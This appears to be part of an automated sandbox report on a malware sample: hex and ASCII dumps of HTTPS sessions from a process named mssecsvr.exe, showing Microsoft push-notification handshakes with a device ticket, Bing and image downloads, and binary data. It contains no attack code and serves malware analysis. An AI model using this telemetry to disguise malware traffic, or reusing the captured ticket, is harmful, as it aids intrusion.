3b 35 5f 89 85 f9 ad ce 37 ed 56 8d bf 75 b4 34 1b 3c 19 a0 63 ed c4 ab d4 d9 0b fb 41 37 58 b3 56 db b9 bc 6a bd dd 50 fa 72 20 72 e3 2c 39 95 0f fe 16 6b c6 7c f3 6d b9 d9 33 34 cb 8e 41 f0 3d 4a 55 ba 79 aa 9f fb Data Ascii: sCCCEv4ZO:}&?Td3(+Z/W,}'2$1dne_hNNojmj/1$XBW9h,B:u~\/'v*;7^my5kV)n@\|zi.Mh;5_7Vu4<cA7XVjPr r,9k\|m34A=JUy
2022-07-20 13:44:18 UTC	5487	IN	Data Raw: 58 44 69 dd 8e 27 23 ea 2f cb a5 63 c9 e6 50 ba 0b 9d 3d ec ab 56 12 91 a1 5e dd 3d ee 5a 86 83 6e 9f 30 2c f1 10 ed 3e 41 8c a8 ed 0c dc d1 7f eb 73 59 f0 3e 9f 64 e5 0c 8d d5 e1 5e e8 0c ab 4e cb 50 2c 29 f6 79 74 a7 d1 fb b3 e0 64 18 59 6f 8d c1 65 af 86 44 1d 58 65 5f 81 fc 3e 56 7d 7d b4 b1 ff 00 54 72 fc 0a c7 c2 bf a5 75 bd 32 5d 9e fd c5 38 7b af 53 d9 72 4f 0a 73 e9 9c 7f c9 a6 44 ce 39 9d 88 af eb 30 fd 8d 67 39 79 dc b0 25 8d 28 07 e9 3f bd ad c1 84 0a 63 1c 10 13 d8 6b c4 9b 9f 8f c5 a5 32 e6 2c 53 44 ea 4d 7a e8 0f d1 c3 49 2a b4 b2 33 8e 27 fe ca 5e 42 ac 47 a3 fe ca 12 0c b7 c1 c4 9b 29 08 07 bb 1f 0a 9f d6 d6 1b 0e e3 d4 75 92 75 12 50 90 e1 80 21 be 25 6e f6 bc de 71 83 91 1a 38 11 ab 31 65 e2 2d e3 c9 7b 11 67 37 b9 a1 f1 65 8f 18 29 8c Data Ascii: XDi'#/cP=V^=Zn0,>AsY>d^NP,)ytdYoeDXe_>V}}Tru2]8{SrOsD90g9y%(?ck2,SDMzI*3'^BG)uuP!%nq81e-{g7e)
2022-07-20 13:44:18 UTC	5494	IN	Data Raw: 50 c4 02 2a 07 e9 e0 ff 00 7b 4b 6f 20 69 63 c1 74 d5 2f ee 86 56 a7 e3 c4 13 7e d0 40 fe ca 7b ea dc 7e ac 71 e5 28 e4 b8 07 3f 57 1b 2b f0 ea 5a 69 01 48 d1 4d 45 a7 86 aa b6 09 d7 79 c5 93 06 63 cc 63 2b c4 f1 e3 cd 1b af c2 d6 e9 26 66 cf 99 b7 c6 99 72 63 ba 46 a4 06 2d 41 50 79 78 2b 73 7e ae 87 b7 61 1f e4 39 19 21 e5 f6 b2 e9 a0 ed c9 bb 2b 69 63 e8 a2 36 f0 b3 6d bd 17 65 8c 12 d5 76 ec 02 be ef 36 96 e6 66 63 ad 06 31 76 2a 00 bd a8 2b 4f 2c 63 fb fa 3a 57 51 b7 90 9c 05 87 f6 b5 35 76 9d da c6 4b 34 82 e0 86 3a 53 10 4c f1 48 ae a6 ce 84 d9 85 34 87 71 98 ab 37 6a ad 2a 75 f6 3e 74 b0 4a b3 03 42 0d 18 1e 00 a9 e5 75 fb 49 ad 9b 54 0b 34 24 49 dc 69 16 e2 7b 02 8e 63 ac b7 98 e3 25 5e 22 6d 2c c1 41 f2 8e ee 8f 24 e6 46 68 98 69 da 7d 9a d9 9b Data Ascii: P{Ko ict/V~@{~q(?W+ZiHMEycc+&frcF-APyx+s~a9!+ic6mev6fc1v+O,c:WQ5vK4:SLH4q7j*u>tJBuIT4$Ii{c%^"m,A$Fhi}
2022-07-20 13:44:18 UTC	5510	IN	Data Raw: a2 a0 c1 bd c6 ef 57 be ba 48 77 6d 95 d0 0b f2 23 37 c5 f4 82 bc d2 7d 96 8f 5c 12 1c 79 f7 2c 8a 40 95 62 7d 9c 00 f8 8f 87 5d 4f 67 dd 8e e5 bc bf 13 d0 91 9a 8a 7d 8b ff 00 97 5c f2 5d cf 23 66 c9 96 0c 47 a4 69 23 80 a4 02 0d 18 f7 ae d7 b3 ff 00 6e 86 db 07 da 3d ed cb 30 f6 7c ce a5 a4 64 dc 34 e0 bc 56 d4 95 19 74 e4 9d ff 00 8a a8 f7 68 1e 34 8a 47 a5 cc a0 31 1e 65 e5 d2 a0 c7 b5 7d 9a 2f 1b 7a ff 00 5b c3 90 4e 15 66 88 86 01 78 02 0f 7a 8b a5 9d 42 8e 47 b1 85 0e 98 81 1d 4b c2 c2 c0 16 fe ce a5 fb b5 91 e5 95 38 c8 39 bb d6 a6 fb c4 ac 71 21 90 f8 aa 38 7d 3a 5f 95 2d 9b 7c 70 81 c7 a8 5c 9f a8 8b 75 eb e6 75 b0 9b 16 4e 26 36 0c 9f f8 36 b1 78 4c 91 a8 f0 90 3f ab 45 d9 41 22 02 85 47 13 7b f8 7a d6 ae e1 54 29 f5 eb 7a 45 39 24 81 a7 de 9c Data Ascii: WHwm#7}\y,@b}]Og}\]#fGi#n=0\|d4Vth4G1e}/z[NfxzBGK89q!8}:_-\|p\uuN&66xL?EA"G{zT)zE9$
2022-07-20 13:44:18 UTC	5526	IN	Data Raw: 2a 43 89 20 9b 26 5c 86 34 67 56 73 4f a4 9f f1 68 84 21 40 fd 24 e9 56 de cd f3 1e 9c 05 aa 4f de 36 fe ae 8c 69 e9 1b 1f 6e 8b b6 81 83 31 3a 9e 93 ea 55 ac 7d ca b3 49 66 39 1d 35 ac 24 7a f5 38 f6 29 a7 f6 6b 5e 03 58 8a 09 a9 d2 dc 89 c9 89 d8 7d 43 fb 4e 9b 7a 77 0b fd 4d 5d 55 ed 78 d0 b9 14 ed 00 f7 57 de d2 db d0 10 33 13 cb 7d 7d 54 ca c1 78 b1 0b 76 66 b7 f6 2d 50 c3 2a 34 6a 83 bd 5a d7 41 6e f9 83 1c 43 8c 78 3c cd 70 fa a3 5e 5f fd c7 fd 8d 67 b7 66 46 80 c7 30 40 2b 5b 8a f3 01 f1 eb 7f e6 b1 77 49 28 c8 af 14 2c b1 ad c0 56 da da 39 bb dd ee 6e f6 b2 15 31 92 e5 49 51 a9 3f 87 ef 55 c6 3b 62 24 23 32 bc a1 57 c5 e2 fa 77 aa 33 27 32 95 48 fb 2b c7 eb d0 61 cb 9a 93 c7 5d 57 2b fd ba da b7 04 0f 8b 21 c7 90 f0 e0 6a 87 ec 3f 77 ef 6a 67 2f Data Ascii: C &\4gVsOh!@$VO6in1:U}If95$z8)k^X}CNzwM]UxW3}}Txvf-P4jZAnCx<p^_gfF0@+[wI(,V9n1IQ?U;b$#2Ww3'2H+a]W+!j?wjg/
2022-07-20 13:44:18 UTC	5534	IN	Data Raw: d8 3f f4 66 15 c6 7d cc c6 c4 ab c7 dd 46 e7 e8 8f ec 7c 59 53 fb 6d dc 10 dd 51 d4 06 cb 4c bc 54 2f ae 30 d2 30 72 e3 70 86 e5 b9 7e 93 ee fb da e4 79 b9 02 49 09 0d c4 9d 5f fa b7 72 39 ea ff 00 97 8d 99 9d 6d 8a 4a d0 0f 7d 50 f9 ad b6 ed 72 ac ac 2c 8d b6 56 c7 ca 16 ca 87 9b 8d 7f 59 7b da 8f 94 ed da 38 b0 94 da 45 ee 9e ac 68 13 34 4e f7 4b 30 ed b1 ed ad b3 48 c8 4b 57 b6 a0 68 17 6e 3d ba d7 23 96 f6 fb 75 8f 16 e1 ad e4 4c 68 25 14 dc db ea a2 f1 50 b3 0a 1a 13 ed d1 fb a6 31 11 45 18 37 33 b3 53 fa 80 fe f6 87 db e0 af d1 5a eb 76 f9 29 49 97 11 38 3c 6a 6b c7 cd cd c3 ec db a1 02 5a 70 17 d6 4d 2c a4 79 a0 2a e5 6d 58 d2 89 ed 80 18 23 6b 8f 8d 87 b4 8f 0a fb 9a d4 91 d4 f6 eb 18 56 a7 8e 8a 09 4a 1d 34 5b 1d 2f 4c 68 ba f6 56 71 02 c2 95 d1 Data Ascii: ?f}F\|YSmQLT/00rp~yI_r9mJ}Pr,VY{8Eh4NK0HKWhn=#uLh%P1E73SZv)I8<jkZpM,y*mX#kVJ4[/LhVq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49864	13.107.6.254	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:28 UTC	58	OUT	GET /apc/trans.gif?c9da9c8e34792720457330e50b906a84 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: b-ring.msedge.net Connection: Keep-Alive
2022-07-20 13:43:28 UTC	58	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 31 Jan 2022 05:39:43 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: AMS04r5e X-Frontend: AFD X-Machinename: AMS04EDGE3110 X-Userhostaddress: 84.17.52.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1E2092BBA6C8488493BD27486F23D23B Ref B: AMS04EDGE3110 Ref C: 2022-07-20T13:43:28Z Date: Wed, 20 Jul 2022 13:43:27 GMT Connection: close
2022-07-20 13:43:28 UTC	59	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	50838	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:19 UTC	6357	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 36 37 38 65 64 38 35 39 62 33 34 64 34 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d2678ed859b34d49
2022-07-20 13:44:19 UTC	6357	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:19 UTC	6358	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 36 37 38 65 64 38 35 39 62 33 34 64 34 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: d2678ed859b34d49<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:44:19 UTC	6359	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 36 37 38 65 64 38 35 39 62 33 34 64 34 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: d2678ed859b34d49
2022-07-20 13:44:19 UTC	6359	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:19 UTC	6359	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 31 53 6b 4e 32 30 78 4a 6b 53 75 56 59 56 67 66 66 6c 38 6b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 91SkN20xJkSuVYVgffl8kw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	50859	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:20 UTC	6359	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 39 31 63 63 66 31 30 66 32 32 63 31 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: 8a91ccf10f22c13
2022-07-20 13:44:20 UTC	6359	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:20 UTC	6359	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 39 31 63 63 66 31 30 66 32 32 63 31 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c 63 Data Ascii: ATH 2 CON\DEVICE 1013Context: 8a91ccf10f22c13<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhlc
2022-07-20 13:44:20 UTC	6360	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 36 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 61 39 31 63 63 66 31 30 66 32 32 63 31 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 169Context: 8a91ccf10f22c13<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:44:20 UTC	6360	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:20 UTC	6360	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 4b 63 35 4c 30 4c 72 2b 30 57 41 4c 69 61 49 63 4b 58 4f 30 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AKc5L0Lr+0WALiaIcKXO0A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	51076	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:28 UTC	6360	OUT	GET /cms/api/am/imageFileData/RE50xrB?ver=6d99 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 13:44:28 UTC	6361	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 15 Jul 2022 01:57:53 GMT X-Datacenter: northeu X-ActivityId: 727419b7-648c-4ec5-8373-db468612ce2b Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE50xrB?ver=6d99 X-Source-Length: 1844611 Content-Length: 1844611 Cache-Control: public, max-age=346407 Expires: Sun, 24 Jul 2022 13:57:55 GMT Date: Wed, 20 Jul 2022 13:44:28 GMT Connection: close
2022-07-20 13:44:28 UTC	6361	IN	Data Raw: ff d8 ff e1 1c 3e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 34 3a 31 37 20 31 35 3a 31 37 3a 31 31 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: >ExifMM*bj(1r2i''Adobe Photoshop 23.2 (Windows)2022:04:17 15:17:118"
2022-07-20 13:44:28 UTC	6377	IN	Data Raw: 42 d2 79 37 5a eb 3f e8 ee db ff 00 41 5a 35 63 e0 d2 6c 65 1b 18 3f 37 19 85 ce 88 9f a3 48 ff 00 aa 41 35 e4 63 5c e6 de 5c db 0c b8 1f 4c 7b 87 f2 6c dc dd db 95 ba f2 5a f3 2d 1b 41 12 1d 20 7f d4 ee 4f 97 3f 2e a0 57 8a d1 3e 94 22 50 57 67 54 c8 1b aa c7 6e 35 67 56 bf 2a e3 be 3c 5b 8d 8f bd df d8 7b d1 db d3 f3 ce af ce 65 7a 1d 2b c6 02 3f b7 7d ce 73 d3 1e a5 7d 53 18 d7 1d 7b 6c 7f fd 4b 9d e2 9a ae ae d7 d8 59 97 8d e8 30 01 b5 c1 86 c1 fd bf a3 b5 34 f3 79 65 b4 84 7f bb c3 ff 00 74 9e 31 d6 47 fe 8f fd 16 2f c3 f4 ff 00 9c ea 97 3b 4e 2a aa 96 9f 3d db 69 b1 45 b8 15 5e 06 fb f3 f2 01 83 a1 63 46 9f ca 65 55 7b 55 aa 6b fb 6b c9 ab a9 96 34 c9 14 52 c6 d4 fd 64 6e 7e b6 59 fd 55 37 f4 50 f3 16 ba eb 78 8f 52 d7 91 df b3 4b 12 f7 a6 46 b9 0e Data Ascii: By7Z?AZ5cle?7HA5c\\L{lZ-A O?.W>"PWgTn5gV<[{ez+?}s}S{lKY04yet1G/;N=iE^cFeU{Ukk4Rdn~YU7PxRKF
2022-07-20 13:44:28 UTC	6393	IN	Data Raw: 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 35 54 31 30 3a 32 30 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 35 54 31 30 3a 32 30 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-07-15T10:20:42-07:00 File Lockscreen_1920x1080_Landscape.psd closed 2016-07-15T10:20:42-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2
2022-07-20 13:44:28 UTC	6395	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 38 39 39 32 37 39 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 38 39 39 32 37 39 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 Data Ascii: File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-148992794_1920x1080.psd saved 2016-07-26T10:42:36-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-148992794_1920x1080.jpg saved 20
2022-07-20 13:44:28 UTC	6411	IN	Data Raw: 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 52 31 35 5f 50 65 6e 5f 30 31 5f 52 44 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 33 38 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 42 42 41 33 33 37 42 42 36 31 43 43 37 46 35 41 43 38 31 45 35 35 41 30 30 44 33 32 38 36 43 38 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 Data Ascii: SurfacePen\Crops\SUR15_Pen_01_RD_1920x1080.jpg saved 2016-08-31T13:38:53-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_LandscapeBBA337BB61CC7F5AC81E55A00D3286C8.psb saved 2016-08
2022-07-20 13:44:28 UTC	6427	IN	Data Raw: 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 34 54 31 34 3a 34 30 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 Data Ascii: ers\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-10-14T14:40:15-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\Aut
